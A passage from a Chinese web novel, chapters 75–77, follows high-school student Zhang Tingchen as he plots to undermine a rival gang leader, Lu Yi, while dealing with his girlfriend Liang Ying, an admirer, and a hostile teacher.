"是啊。"张霆琛嘴角微微上扬,"本来想提前告诉你的,但你性子太急,要是告诉你了,你能演得这么像吗?""那你也是打了我了。"王涛愤愤地说,但语气已经软了几分。"好好,二哥给你道歉。"张霆琛伸手揉了揉王涛的头发,"说吧,要我怎么弥补你?""不用你弥补!"王涛躲开他的手,但嘴角已经不自觉地上扬。
"二哥可都道歉了,你就为二哥牺牲一下能怎么着?"邓志辉插嘴道,"大老爷们挨个嘴巴还这么墨迹!""**说谁呢?"王涛跳起来就要动手,被李辰浩一把拉住。"看看!这才是王涛,雷厉风行的王涛。"张霆琛大笑起来,"刚才那么娘们,我都看不下去了。"
这下所有人都笑了,连王涛也绷不住,噗嗤一声笑出来。他重新坐下,气已经消了大半,"以后这种事你提前告诉我,给个心理准备。刚才要是有把刀...""有把刀你还杀了我?"张霆琛挑眉。"有把刀我一定杀了路译!"王涛咬牙切齿地说,然后环视一圈,"你们看看路译今天那个揍性!死不承认,我看他这个老大的位置还能坐多久!"
"没多久了。"张霆琛眼中闪过一丝精光,"今天大家的表情都很不自然,显然对路译很不满意。但咱们还欠点火候。接下来怎么办,谁有主意?""可找到你们了!"一个清脆的女声突然插入,谢诗韵像只轻盈的蝴蝶一样出现在他们面前,长发在风中飘扬,"你们这么多人又在密谋什么呢?"
张霆琛一看到谢诗韵,表情立刻变得复杂起来。这个女生总是神出鬼没,而且对他有种说不清的执着,让他既无奈又有些害怕。他下意识地往后退了半步,却被谢诗韵敏锐地捕捉到了。谢诗韵心里一阵气恼,但表面上还是保持着甜美的笑容,"我知道个消息,你想不想听?""什么消息啊谢美女?"邓志辉嬉皮笑脸地问。
"我没跟你说话!"谢诗韵白了他一眼,目光直直地锁定张霆琛,"我就问他,张霆琛,想不想知道?"张霆琛深吸一口气,压下心中的烦躁,"你说吧,我想知道。""你今天中午得请我吃饭,要不然我不说。"谢诗韵扬起下巴,露出狡黠的笑容。"做梦!"张霆琛毫不犹豫地拒绝,"我中午还要陪梁颖,你说不说?不说可以走了!"
"你你你!"谢诗韵气得跺脚,"我告诉你是关于韩越的事情,他让我转达给你一句话,你爱听不听!"说完,她转身就要走。邓志辉赶紧拦住她,同时给张霆琛
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使了个眼色。张霆琛不为所动,倒是李辰浩凑到他耳边低声说:"谢诗韵不是无理取闹的人,听听无妨。要是没价值,咱们可以反悔。"
张霆琛觉得有理,走到谢诗韵面前,"你说吧。""你让我说我就说啊?"谢诗韵双手抱胸,"本姑娘现在心情不好,不想说了。"张霆琛的耐心终于耗尽,转身就要走。谢诗韵却在背后悠悠地说:"你就要错过扳倒路译的最好机会喽!"
这句话像钉子一样把张霆琛钉在原地。他猛地转身,盯着谢诗韵的眼睛,"你怎么知道我要扳倒路译?还有,你刚才的话什么意思?"谢诗韵露出胜利的微笑,"我就要一顿温馨的中午饭,你同意不同意?"张霆琛权衡片刻,终于点头,"行,就一顿中午饭。现在告诉我吧。"谢诗韵满意地笑了,开始解释:"首先呢,在我看来你张霆琛绝不是池中物。路译这个人心机不纯,你扳倒他只是时间问题。再加上今天上午的事情,我想你应该已经在计划该怎么做了吧?"
"你怎么知道今天的事情?"张霆琛皱眉。"韩越跟我说的啊。"谢诗韵眨眨眼,"现在高一都在传这件事。我还有功劳呢,要不是我,怎么会有那么多人知道?""韩越是你什么人?""是我表哥。"谢诗韵骄傲地说,"我爸爸是他爸的上司,所以我们从小一起长大。""说正题,韩越跟你说什么了?"张霆琛不耐烦地催促。"我还没吃饭呢..."谢诗韵又要故技重施。张霆琛直接打断她,"你要么现在说,要么永远别说。我数到三,一、二..."
"好好好!"谢诗韵急忙摆手,"韩越跟我说,**周五要收拾路译,因为**很讨厌胆小怕事的人。而且那个道歉不是路译自己。所以**准备好好教训一下路译,但具体怎么弄他没告诉我。韩越让我转告你,让你那天躲远点,免得被波及!"
"哦?"张霆琛眯起眼睛,"他为什么好心提醒我?我们好像不熟啊。""你就是心机太重!"谢诗韵撇嘴,"韩越是看中你的胆识和才能了,所以...""所以想让我跟着他?"张霆琛冷笑。"是这么回事。"谢诗韵点头。
"我张霆琛只跟自己,让我跟着别人,休想!"他斩钉截铁地说。"臭脾气。"谢诗韵不以为意,"反正不管怎么样,人家是好心提醒你。你自己看着办。""既然是让我躲远点,我又怎么能扳倒路译呢?"张霆琛若有所思地看着谢诗韵。
谢诗韵神秘地笑了,"这个机会在我看来是可以利用的,至于怎么利用,就看你张霆琛自己了!"她心里其实已经盘算好了几种能让路译威信扫地的方案,但她更想看看张霆琛到底有多少能耐。张霆琛陷入沉思,忽然眼睛一亮,嘴角勾起一抹自信的笑容,"天助我也!"
与此同时,教室里,路译正陷入一片低气压中。大强驱散了围观的人群,但仍有不满的声音传来:"译哥,你给个解释,刚才王涛说的是不是真的?"路译本就怒火中烧,被这么一问更是爆发:"是他妈又怎么样?老子又没让张霆琛冒充我!再说了,老子帮了他这么多,他总是要还的!"
大强等人一听这话就知道要坏事,还没来得及阻止,已经有一批人转身离开。路译暴怒:"你们**去哪?""去找琛哥,你不可靠!"有人头也不回地回答。等人都散了,路译咬牙切齿地对大强说:"张霆琛不能留了,必须打压下去!否则咱们的位置就不保了。"
"咱们不应该一错再错了。"大强苦口婆心地劝,"今天张霆琛都主动过来道歉说要承担所有费用,最后还打了王涛一巴掌。咱们要是再对张霆琛动心眼,就更不得人心了!""**就是胳膊肘往外拐!"路译怒不可遏,"我不管这些!必须让张霆琛就范,狠狠打压他一次,让他在高一抬不起头来!"大强看着路译狰狞的表情,知道再劝也无用,只能在心中暗暗叹息。
第七十五章:宁静
整个上午,高一高二的学生们都在操场上尽情玩耍,笑声回荡在校园的每个角落。只有高三的学生还在教室里埋头苦读,为即将到来的高考做最后冲刺。张霆琛站在食堂门口的台阶上,目光在人群中搜寻着那个熟悉的身影。
"等很久了?"梁颖的声音从身后传来,带着一丝俏皮。张霆琛转身,看到梁颖和谢诗韵以及几个女生一起走来。谢诗韵长发披散在肩头,在阳光下泛着微光。她挽着梁颖的手臂,看到张霆琛时,眼中闪过一丝不易察觉的敌意。
"刚到。"张霆琛微笑着走向梁颖,自然地伸手帮她整理了一下有些歪斜的领结。他的手指轻轻擦过梁颖的锁骨,引得她微微脸红。"走吧,吃饭去。"现在的张霆琛早已不是当初那个在公共场合不敢与梁颖亲近的男生了。相处久了让他越来越习惯在众人面前表达对梁颖的关心和爱意。
谢诗韵冷哼一声,挡在两人之间:"张霆琛,别忘了你的承诺!给我买饭去!"张霆琛感觉到梁颖疑惑的目光,解释道:"她帮了我一个忙,我答应请她吃饭。"说完,他走向拥挤的打饭窗口,灵机一动,转身对全班同学喊道:"今天我请所有人吃饭!"
食堂里顿时爆发出一阵欢呼。李辰浩和邓志辉从座位上跳起来,夸张地鞠躬:"感谢张总慷慨解囊!"谢诗韵的脸色瞬间变得难看。她握紧拳头,指甲几乎要掐进掌心的肉里。这个张霆琛,明明答应单独请她吃饭,现在却变成全班聚餐!她咬着下唇,心想自己好歹为张霆琛出过力,连一顿单独吃饭的机会都不给吗?
"诗韵,怎么了?"梁颖关切地问道,伸手想拉她。谢诗韵猛地甩开梁颖的手:"没什么!"她深吸一口气,硬是在食堂最显眼的位置坐下,"我就要在这里吃!"张霆琛看到谢诗韵倔强的样子,心里暗叹这女孩真是难缠。他买了足够全班人吃的饭菜和饮料,特意给梁颖选了她最爱的糖醋排骨和冬瓜汤。
"给,你的最爱。"张霆琛将餐盘放在梁颖面前,在她旁边坐下。梁颖的眼睛亮了起来:"你怎么知道我今天想吃这个?""你上周五说过这周想吃糖醋排骨,我记着呢。"张霆琛笑着捏了捏她的鼻尖。谢诗韵坐在对面,看着两人亲密的互动,胸口像堵了一团棉花。她机械地咀嚼着食物,却尝不出任何味道。
午饭后,张霆琛拉着梁颖直奔学校后花园。这里是情侣们约会的热门地点。"你今天怎么了?"梁颖被张霆琛急切的样子逗笑了,"这么着急?"张霆琛没有回答,一把将梁颖拉进怀里,低头吻住了她的唇。这个吻比往常更加热烈,带着一丝占有欲。梁颖惊讶地睁大眼睛,随即闭上眼回应着。她能感觉到张霆琛今天有些不同,但具体哪里不同又说不上来。
花园小径上不时有学生经过,有人吹口哨,有人窃笑,但张霆琛毫不在意。他的手掌贴在梁颖的后腰,将她更紧地压向自己。直到两人都喘不过气来,他才依依不舍地放开。梁颖的脸红得像熟透的苹果,她轻捶张霆琛的胸口:"你疯啦?这么多人看着呢!""我就突然想亲你,"张霆琛抵着她的额头,声音低沉,"不喜欢吗?""喜欢..."梁颖的声音几乎微不可闻,她把脸埋在张霆琛胸前,闻着他身上淡淡的洗衣液香气。
张霆琛感到一阵满足,他搂着梁颖在长椅上坐下:"你为什么会和谢诗韵住一个宿舍?这样好吗?我还是不理解。"梁颖**着张霆琛的校服纽扣,犹豫了一下才开口:"其实我们有一个赌约。""赌约?"张霆琛挑眉。"嗯。谢诗韵之前找到我,说她喜欢你。"梁颖抬头观察张霆琛的反应,见他只是皱眉,便继续道,"她说她不会挑拨我们的关系,但会让你不由自主地爱上她,然后离开我。"
张霆琛嗤笑一声,"她哪来的自信?""我当时也是这么说的。"梁颖靠在他肩上,"但她问我敢不敢打赌,我就答应了。所以她搬来和我同住。我想,与其让她在暗处搞小动作,不如放在眼皮底下看着。"张霆琛转头看着梁颖的眼睛:"你就那么相信我?""当然,"梁颖直视他的目光,眼中满是信任,"你给我的感觉就是非常安全。"
张霆琛心头一热,再次低头吻住梁颖。这次吻得更深更久,直到一个尖锐的女声打断了他们。"还成不成体统了!你们怎么可以这么玷污学校的花园!"两人迅速分开,看到一位戴着黑框眼镜的女老师怒气冲冲地走来。张霆琛认出了她,正是之前在火车上与他发生冲突的那位老师。
"你不是火车上那个小痞子吗!"李丽老师指着张霆琛,声音因愤怒而颤抖,"怎么跑我们学校里来了?"张霆琛站起身,将梁颖护在身后:"我是高一十班的学生。还有,请您注意言辞,我不是什么小痞子。""你是我们学校的学生?谁同意的?"李丽的声音提高了八度,"不行,我要找你们班主任!你们班主任是谁?"
"是赖军老师。"梁颖小声回答,手紧紧抓着张霆琛的衣角。"哼!看看我们学校的学生,再看看你,你配吗?这么不尊敬师长,今天我就开除你!"李丽伸手要拉张霆琛。张霆琛后退一步躲开:"您凭什么?""还敢顶嘴!走,去找你们班主任!"李丽气急败坏地转身向教学楼走去。
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办公室里,赖军老师正在批改作业。听到门被猛地推开,他抬头看到怒气冲冲的李丽和两个低着头的学生,瞬间明白了怎么回事。"你看看自己的学生!成什么体统!在花园那么神圣的地方做那种事情!"李丽刻意模糊了用词。赖军的表情凝固了一秒:"那种事情?"
"就是见不得人的事情!就是学生之间不应该做的事情!"李丽几乎是在咆哮。赖军没有立即批评学生,而是反问:"您亲眼看到他们做什么了?""你不信?你自己问他们!"李丽指着两个学生。赖军微不可察地对张霆琛眨了眨眼。张霆琛会意,立刻说道:"我们只是在讨论数学题,李老师就误会了。老师,我们是冤枉的!"
梁颖惊讶地看了张霆琛一眼,随即附和着点头。赖**向李丽:"您看,我就说我的学生不会做那种事。对了,李老师,您的眼镜度数是不是又加深了?"李丽气得脸色发青:"你这是包庇!他们讨论数学?哼!就他们那成绩..."赖军不慌不忙地从抽屉里拿出年级成绩单:"张霆琛,梁颖,还有常和他们一起玩的李辰浩、邓志辉,都是我班的。您看看他们排在哪里?"
李丽接过成绩单,表情逐渐僵硬。"成绩好有个屁用!"李丽恼羞成怒,"品行不端照样是**!""我听到了,您说学生是**。"赖军慢条斯理地拿出手机,"我正好存了王校长的电话..."听到"王校长"三个字,李丽的气势立刻矮了半截。她咬牙切齿地说:"好,今天算你们赢了,咱们走着瞧!"说完摔门而去。
办公室里安静了几秒,赖军才转向两个学生:"你们怎么这么不小心?幸好她带你们来找我,要是换了别的老师""有这么严重吗?"张霆琛不解。赖军压低声音:"李丽是出了名的''学生**'',专抓小辫子不放。张霆琛和梁颖对视一眼,恍然大悟。
"听着,"赖军严肃起来,"如果你们想继续在一起,就必须保持年级前十。只要不过分,我可以睁一只眼闭一只眼。但如果成绩下滑..."他意味深长地顿了顿。张霆琛挺直腰板:"老师放心,下次考试我给您拿个年级第一!""这可是你说的!"赖军脸上露出笑容,"现在回去上课吧,记住,低调点!"
走出办公室,梁颖长舒一口气:"吓死我了,我以为要被记过了。"张霆琛握住她的手:"有我在,不会的。"他顿了顿,"不过那个赌约,谢诗韵真的那么有信心?"梁颖点点头:"她说从来没有男生能抵抗她的魅力。"张霆琛冷笑一声:"那她很快就会知道,有些东西是强求不来的。"
第七十六章:**
张霆琛走上宿舍楼梯时,感觉四周投来的目光像针一样扎在背上。走廊上的同学三三两两聚在一起,见他经过便立刻噤声,等他走远又窸窸窣窣地议论起来。他皱了皱眉,加快脚步回到宿舍,一把推开门。
"这些人怎么回事?见了我跟见了鬼似的。"张霆琛把书包扔在床上,看向正在玩手机的邓志辉,"我跟他们有仇?"邓志辉抬起头,嘴角挂着若有若无的笑:"你还不知道?""知道什么?"张霆琛一头雾水。林凯从床上坐起来,压低声音:"路译放话了,说以后谁跟你走得近就是跟他过不去。"
"什么时候的事?"张霆琛眯起眼睛。"就今天下午。"邓志辉晃了晃手机,"我在路译那边安插了人,虽然核心消息拿不到,但这种公开宣言还是能第一时间知道的。"王涛从卫生间出来,一边擦手一边骂:"路译那孙子真够阴的,这是要分化咱们啊!"
张霆琛坐在床边,手指无意识地在床单上敲打。宿舍里一时安静下来,只听见窗外篮球场上学生的喊叫声。"周五之前别轻举妄动。"张霆琛突然开口,"我有个计划,能让路译一夜之间威信扫地。""什么计划?"王涛凑过来"还没完全想好。"张霆琛摇摇头,"这几天大家都小心点,别被偷袭了。"
"不至于吧,"土狗嚼着口香糖,"又没什么深仇大恨。""你太天真了,"张霆琛冷笑,"路译那种人,急了什么都干得出来。"林凯挠挠头:"那以后碰见路译,我们是打招呼还是装没看见?""最好别碰见。"张霆琛站起身,"早起早归,躲着点。过了周五就好了。""周五你到底要干嘛?"王涛一脸困惑,"难不成你要替路译去给**道歉?""道歉?"张霆琛笑了,"路译那种心高气傲的人怎么可能道歉。等着看好戏吧。"
王涛摇摇头,往床上一倒:"算了,不问你了。需要**什么直接说。"他翻个身,不一会儿就响起鼾声。张霆琛看着王涛的睡相,嘴角微微上扬。他就喜欢王涛这点,心宽,仗义,从不多问。宿舍里其他人见状,也各自休息去了。
凌晨三点,张霆琛突然从床上坐起来,眼中闪着精光。他轻手轻脚地爬到王涛床边,推了推他。"嗯?"王涛迷迷糊糊地睁开眼。张霆琛凑到他耳边低声说了几句。王涛猛地瞪大眼睛,差点从床上滚下去。"你疯了吧?"王涛压低声音,"**要埋伏路译,你还去提醒路译?这不是让他提前准备吗?""让你去你就去。"邓志辉不知什么时候醒了,在一旁插嘴,"问那么多干嘛,你又听不懂。"王涛瞪了邓志辉一眼,转头对张霆琛说:"行,我去。但你得告诉我为什么。""回来再说。"张霆琛看了看其他还在熟睡的室友,"等我们都走了你再去,别让路译怀疑是我指使的。"
天亮后,张霆琛和邓志辉早早离开宿舍。王涛等了一会儿,才慢悠悠地走向路译的寝室。敲门声响起时,路译正和几个心腹商量事情。门一开,路译的人看到是王涛,立刻警惕起来。"哟,稀客啊。"路译靠在床头,语气嘲讽。王涛站在门口,故意提高嗓门:"我二哥让我带句话,你帮过我们,我们记一辈子。刚得到消息,韩越把道歉的事告诉了**,**很生气,准备周五聚餐时收拾你。你自己看着办!"
说完,王涛转身就走。他的大嗓门让隔壁几个宿舍都听得一清二楚。路译愣在原地,脸色渐渐发白。"现在怎么办?"大强凑过来,"要不咱们再去高三道个歉?这事还有转圜余地。""去高三肯定挨打!"路译猛地站起来,"不能去!""在校内挨打总比在校外强,"大强苦口婆心,"至少学校会管。""管个屁!"路译一拳砸在墙上,"既然他们要动手,咱们就先埋伏!咱们人也不少!"大强皱眉:"威哥,这会跟高三彻底结仇的。要是引起公愤..."
"怕什么!"一个叫沈风的男生打断大强,"咱们六十多号人,全高一谁有这阵仗?真不行还有译哥他爸呢!"路译听了,腰杆顿时挺直了。是啊,他爸在本地也是有头有脸的人物,真闹大了还怕摆不平?"沈风说得对,"路译露出狠色,"老子字典里没有''道歉''这两个字!干就完了!"大强欲言又止,最终叹了口气,默默退出宿舍。他走到走廊尽头,摸出手机发了条信息:"路译决定硬碰硬。"
与此同时,张霆琛和邓志辉坐在教学楼天台上。邓志辉看完手机,吹了声口哨:"路译果然上套了,准备和**硬刚。""有人劝阻他吗?"张霆琛望着远处操场。"就大强一个,还被路译骂跑了。"邓志辉挑眉,"你问这个干嘛?"张霆琛笑了:"这个大强,可以收为己用。他比路译强多了。"
邓志辉愣了一下,随即哈哈大笑:"二哥啊二哥,跟着你真是我这辈子最正确的决定!"张霆琛正要说话,邓志辉突然捂住胸口做感动状:"别谢我,要谢就请我吃晚饭!""滚!"张霆琛一脚踹过去,"老子没钱!"
路译这回做事可算是完全不动脑子。等到了晚上的时候,路译到了张霆琛宿舍,推门便开门见山地说:"张霆琛,**要动我的事情你说的是不是真的?"宿舍里的气氛瞬间凝固。李辰浩正在上铺整理被褥的手停了下来,邓志辉从书本上抬起头,王涛则悄悄往门口挪了挪位置。
"这种事情我能骗你吗?"张霆琛坐在床边,手指轻轻敲击着铁质床架,"但是我觉得你还是不要冲动的好,道个歉不是什么丢人的事情!"路译一脚踢开挡在面前的塑料凳,凳子撞在墙上发出刺耳的声响。"不用再说了,我这次来不是为别的事情。现在有几个新来的说是跟着你们的,我想从你这借点人!"他说话的口气不像是借,倒像是强行索要。
张霆琛嘴角微微上扬,露出一个恰到好处的微笑:"呵呵,我们宿舍这点人随你便借,但是其他人我管不了。你应该询问他们的意见。""那好,你去不去?"路译眯起眼睛,目光如刀般锋利。张霆琛假装思考了一下,然后说道:"我可以陪你去道歉,并且钱都凑好了。但是要是陪你去围剿**他们可能有点困难。"
"哼!张霆琛你别忘了下周刘振平和龙镇宏就要回来了,到时候......"路译的威胁意味不言而喻。他是在提醒张霆琛别忘了还要依附他的势力,否则就会被刘振平他们一口吃掉。宿舍里的温度似乎又降了几度。彭志龙悄悄握紧了藏在被子下的钢管,林凯则紧张地看向张霆琛。
张霆琛心里一阵冷笑,但脸上依然保持着温和的表情:"我知道译哥一直全心全意帮着我们,但你清楚的,我们本来人就少,如果再得罪了高三的,就别想在这里过好日子了。"他顿了顿,声音变得更加诚恳,"我们就是聚在一起大家玩玩,没把事情想得那么复杂!但是要是有人动你路译,我第一个不同意!"
他观察着路译的表情变化,继续说道:"要不咱们这样,周五的时候咱们一起去,我保证**不会动你。你看行不行?"路译发出一声嗤笑:"就你能让**不动我?""是的!"张霆琛向前倾身,压低声音,"你如果周五埋伏**,我认为不妥。你人再多也是高一的孩子,咱们没有资本和他们较劲。而且高三的韩越已经开始混社会了"他没有继续说下去,但暗示已经足够明显。
路译不屑地甩了甩头发:"哼!不就是社会吗!我老子一样是社会人!我还不信在这个区还有能玩社会玩过我的!"张霆琛在心里暗骂一声"蠢货",脸上却露出为难的表情:"我说的不是玩社会,主要是韩越现在有两重身份。咱们虽然在高中里算是人手最多的,但战斗力能比得过人家吗?"他环视宿舍,寻求支持,"我听说和韩越混社会的还有好几个,就光这几个人我想就可以以一顶五了。咱们带着人去就等于送菜啊!"
"你这是长他人志气灭自己威风!"路译的声音越来越大,引得走廊上已经**了几个看热闹的学生,"他想对付我,如果你没有通风报信的话人肯定不会多,咱们做好万全的准备还怕玩不转他们!?"
张霆琛无奈地叹了口气:"那就依你译哥说的。但丑话说在前头,我们宿舍的归我管并且一定会帮你,但其他人你得看人家自己的意思,不能强迫!"他特别强调了最后几个字,"还有就是周五的时候咱们以道歉为主,要是能不打就不打,多一事不如少一事,译哥你说是吧?"
这番话说得滴水不漏,既给了路译面子,又给自己留了退路。路译满意地点点头,临走前还拍了拍张霆琛的肩膀,却不知自己正一步步走进张霆琛精心设计的陷阱。等路译
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的脚步声消失在走廊尽头,邓志辉立刻凑过来:"接下来是不是该把消息传到**耳朵里了?"
张霆琛白了他一眼:"咱们怎么能做这种事?那不是明摆着坑译哥吗?""那你怎么打算的?"李辰浩从床上跳下来问道。"你们应该听谢诗韵说过的吧,韩越对我很感兴趣。"张霆琛的眼中闪过一丝精光,"所以到时候韩越肯定要到场的。咱们兄弟几个加上外围的几个兄弟,他路译才有不到四十人。这么几个人怎么和韩越他们打?"
王涛挠了挠头:"你怎么就确定韩越和**一定能干过路译?要是不小心让路译反杀呢?""那最好不过了!"张霆琛冷笑一声,"其实周**管谁赢对咱们都构不成坏事。因为最后输的一定是路译。"他环视众人,声音低沉而有力,"咱们要看着路译一点一点垮掉。"
"那钱的问题怎么解决?加上吃饭没有三千块下不来啊!你们一个月生活费才多少?"林凯皱眉问道。彭志龙插话道:"这个钱大家一起凑啊!""我知道,但今天都周三了!你们家周三还能凑出这么多钱?"林凯抱怨道。张霆琛摆摆手:"不用了,大家的好意我心领了,这个钱我自己拿。"说完便躺到床上,结束了讨论。
众人面面相觑,不知道张霆琛哪来这么多钱。只有邓志辉若有所思地看着张霆琛的背影,似乎明白了什么。夜深人静时,王涛忍不住又问:"二哥,既然他们要打架,咱们干嘛还要出那么多钱?""这些钱不是用来道歉的,"张霆琛在黑暗中轻声解释,"是用来买人心的。咱们不能失信,而且如果不拿这笔钱就等于明摆着坑路译。这样关系就挑明了,对咱们不利。"
"这样啊,我听说路译他老爸是这一片比较厉害的混混。他会不会真的叫他爸啊?"王涛的声音里带着担忧。邓志辉突然冷笑一声:"可笑!他老爸叫路沣,仅仅是这个区有点名气而已,家里开着几个歌厅。咱们的家境他谁也比不了!""你怎么知道得这么清楚?"李辰浩惊讶地问。"呵呵,我上学前我爸让我把所有需要注意的人物资料都看了一遍。林凯他爸也让他背了,不信你问他!"林凯不好意思地笑了笑:"我就看了几个重点的,可没志辉记性那么好。"张霆琛打断他们:"好了,周五那天志辉你再给我详细介绍下学校的情况。现在咱们的首要任务是解决路译。"
第二天一早,梁颖就给张霆琛打电话叫他起床。张霆琛看着才六点半的表,嘟囔着"这么早",但还是迅速洗漱下楼。梁颖已经在宿舍楼下等着,晨光中她的马尾辫随风轻摆。看到张霆琛,她快步走过来:"我有重要的事跟你说。"
"什么事这么急?食堂还没开门呢。"张霆琛打了个哈欠。"第一,你是不是周五又要去打架?"梁颖严肃地盯着他。张霆琛心里一惊,但表面镇定:"是去帮路译道歉,不是打架。谁告诉你的?""这不重要。重要的是你不能整天想着这些事!我们的目标是好好学习,明白吗?"梁颖的眼中闪烁着担忧。
张霆琛最烦别人干涉他的计划,但面对梁颖的关心,他还是软下语气:"我知道了。你不是说还有别的事吗?""龚莺搬出我们宿舍了。你和路译最近是不是关系很紧张?"张霆琛眉头一皱:"龚莺搬走了?路译还真是小心眼到家了!她走时说什么了吗?""就说想搬出去,然后收拾东西就走了。"梁颖叹了口气。
张霆琛摇摇头,正想说什么,梁颖却突然抓住他的手臂:"还有一件事,最重要的事。"看着梁颖异常严肃的表情,张霆琛突然有种不好的预感:"到底什么事?""有人追陈曦!还有我!"梁颖的声音有些发抖,"是高三的。""你们没告诉他们有男朋友吗?"张霆琛的声音瞬间冷了下来。"说了,但他们要我们马上分手,否则不会放过你们!"梁颖的眼中泛起泪光,"陈曦不让我告诉你,说你们最近有事,不想让你分心。但我想了想,还是应该告诉你。"
张霆琛握紧拳头,指甲深深掐进掌心。他深吸一口气:"先别管这事,等他们来找我。"突然,他露出一个灿烂的笑容,"我也有件重要的事要说。"梁颖紧张地问:"什么事?""吃饭!"张霆琛大笑着跑开,梁颖愣了一下,随即追了上去:"张霆琛!我要杀了你!"
第七十七章:周五
周四的校园平静得出奇,但张霆琛知道这只是暴风雨前的宁静。到了周五,宿舍区的紧张氛围便如潮水般涌来。唯独张霆琛他们几个依旧从容不迫,倒是周四那天路译来找过张霆琛,问他是否愿意帮忙应对**的事。张霆琛思索片刻,认为暂时还不能和路译划清界限。得到首肯的路译却没有主动告知张霆琛他们会出手相助,只是打算见机行事。
午饭时分,谢诗韵找到正在用餐的张霆琛:"你今天到底怎么打算的?我听说路译已经准备和**硬碰硬了!"张霆琛神秘地指了指天空:"天机不可泄露。"谢诗韵托着下巴,一脸严肃:"别开玩笑了。你要是帮路译就是不明智的选择。韩越在全校都有眼线,路译这么高调,消息已经传到高三了。气得**放话说要了一千块后再要五千,还要废了路译!"
"开玩笑的吧大姐!再要五千我信,废了路译?这可是学校!"王涛夸张地说道。谢诗韵解释道:"你们是不是太小看这所学校了?在这里,有钱的怕混的,混的怕有权的,有权的怕权更大的!这潭水深得很!""正因为水深,**才不敢轻举妄动啊!"邓志辉插话道。
"你以为**不知道路译父亲是谁?他敢动手就一定调查清楚了!像路译这种背景的在高一不少,但人家都低调行事,哪像路译和刘振平仗着家里那点势力就嚣张跋扈!"谢诗韵不屑地说。"你是说没背景就别混了?"张霆琛反问。
"我可没这么说!至少要有真本事!像韩越那样,高一就凭实力坐上年级老大的位置,还摆平了高二。"眼看两人又要针锋相对,邓志辉连忙岔开话题:"**父亲不就是个军官吗,没那么可怕吧?""军官还不可怕?"李辰浩问道。"实话告诉你们,军队看似唬人,但军部和**部哪个跟黑道关系更近?"邓志辉环视众人。"肯定是黑道啊,钱给得多!"林凯答道。"所以说,真出了事,一个团长能比得过黑道大哥吗?"邓志辉分析道。"但别忘了团长上面连着不少大人物!"谢诗韵反驳。"
我打个比方:如果我废了**,他父亲找上门,我家最多找个替身顶罪,私下赔钱了事。要是他们不依不饶,警局也会站在我这边。等他搬来救兵,他儿子早就在我爸的黑名单上了。最后两败俱伤,这是双方都不愿看到的。所以军官没那么可怕,他们会权衡利弊。除非碰上司令级别的,那就真没办法了。简单说,**是黄河我们是沙子,互相依存;军队是长江,虽强但互不干涉。""比喻得挺形象,难怪你父亲这么器重你。"谢诗韵语带讽刺。陈曦也揶揄道:"就你懂得多!快吃饭吧!"邓志辉被两人调侃得无言以对,但这番话却让张霆琛和李辰浩陷入了沉思。确实,在这个世界上,最不能得罪的就是亡命之徒。
谢诗韵见话题跑偏,又追问张霆琛:"你到底怎么打算的?要和路译一起去送死吗?""大小姐你还是吃饭吧,再激他,张霆琛真会带人去拼命了!"李辰浩打断道。他了解张霆琛的脾气,最受不了别人说他不行。谢诗韵也意识到自己说过头了,气鼓鼓地不再言语。她本是好意,却总是被张霆琛误解。谢诗韵生气的模样娇俏可人,可惜这群男生毫无察觉,让她倍感挫败。
回到宿舍,路译早已在门口等候。张霆琛笑着迎上去:"译哥有事?""你知道的,来商量晚上的计划。"路译直截了当。张霆琛请他进屋后分析道:"要动手就得选在吃饭时,那时**不会让你带太多人,而他自己肯定人多势众。"
"分析得不错。我就是想请你帮忙,如果谈崩了,你能不能先制住**?我们带了通讯设备,一旦情况有变,我的人就能立刻支援。但在这之前,需要你控制局面。"说完,路译扔给张霆琛一把小刀。
张霆琛有些意外,没想到路译会如此算计自己。但他岂是任人摆布之人?接过刀后,他又将刀抛了回去:"译哥误会了,我有自己的家伙。"说着示意李辰浩取出那对**。路译看到那对寒光闪闪的利器,眼睛都直了。
"有这个就够了,你的刀自己留着。"张霆琛收回**,路译这才回过神来:"行,今晚就看你的了。要是出了差错,兄弟们就全完了!"临走前,路译又折返:"先把钱给我吧,总不能让他们看见你出钱。"众人闻言皆怒,这分明是得寸进尺!张霆琛强压怒火:"钱还没到位,放学后我去取。"
"那我和你一起去。"路译这才满意离开。等路译走后,王涛气得差点追出去捅人。张霆琛也终于爆发,一脚将王涛的床架踹弯。李辰浩冷静问道:"现在怎么办?""他敢拿兄弟们的性命要挟我,就别怪我不客气!本来还觉得有点对不住他,现在..."张霆琛冷笑着躺下假寐。
李辰浩低声对邓志辉说:"晚上盯紧他,生气时什么都干得出来,杀了路译都不奇怪。""有这么严重?"邓志辉将信将疑。"你还不了解他,冲动起来谁都拦不住。"李辰浩忧心忡忡地说。
下午放学时分,路译亲自来到张霆琛的班级门口。当张霆琛走出教室,路译直截了当地说:"走,去取钱!"张霆琛早有准备:"我已经让王涛去取了,咱们先去找**,钱一会儿就到。"这并非托词,而是张霆琛特意安排,他交给王涛的那张卡是离家时哥哥给的应急资金,连他自己都不清楚具体数额。
路译眉头微皱:"行吧,那我们先过去。"这时谢诗韵走了过来,张霆琛疑惑地问:"你来干什么?""韩越说在学校十字路口东边的饭店等你们。"谢诗韵说完,又补充道:"我要跟你们一起去。"路译冷笑:"原来是来传话的?"随即转向张霆琛嘲讽道:"没想到你还安插了眼线,真不简单啊!"说完便掏出手机拨通了某个号码。谢诗韵不屑地嘀咕:"待会儿就要任人宰割了,还这么嚣张!"
张霆琛没理会他们的口角,对刚走出教室的李辰浩低声问:"都准备好了吗?""随时可以行动。"李辰浩简短回应。自从苏旭离开后,他的话明显少了,但每句都掷地有声。张霆琛满意地点头。等路译挂断电话,众人正要出发,梁颖突然追上来拉住张霆琛:"你又要去打架是不是?"
张霆琛无奈翻了个白眼:"不是说好了是去道歉吗?真要打架能少了王涛?"梁颖将信将疑,却坚持要一同前往。正当张霆琛为难之际,陈曦及时出
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现:"他们男生去喝酒道歉,我们女生凑什么热闹?不如去逛街,等他们结束了你就能见到完好无损的张霆琛了。"这个提议总算说服了梁颖,临走时她还不忘叮嘱张霆琛小心。
邓志辉打趣道:"有这么个关心你的姑娘,知足吧!""滚犊子!"张霆琛笑骂。路译不耐烦地催促:"到底走不走?""催什么催!没看见在道别吗?"谢诗韵一句话怼得路译哑口无言。有时候,身边有个伶牙俐齿的姑娘确实比男人还管用。
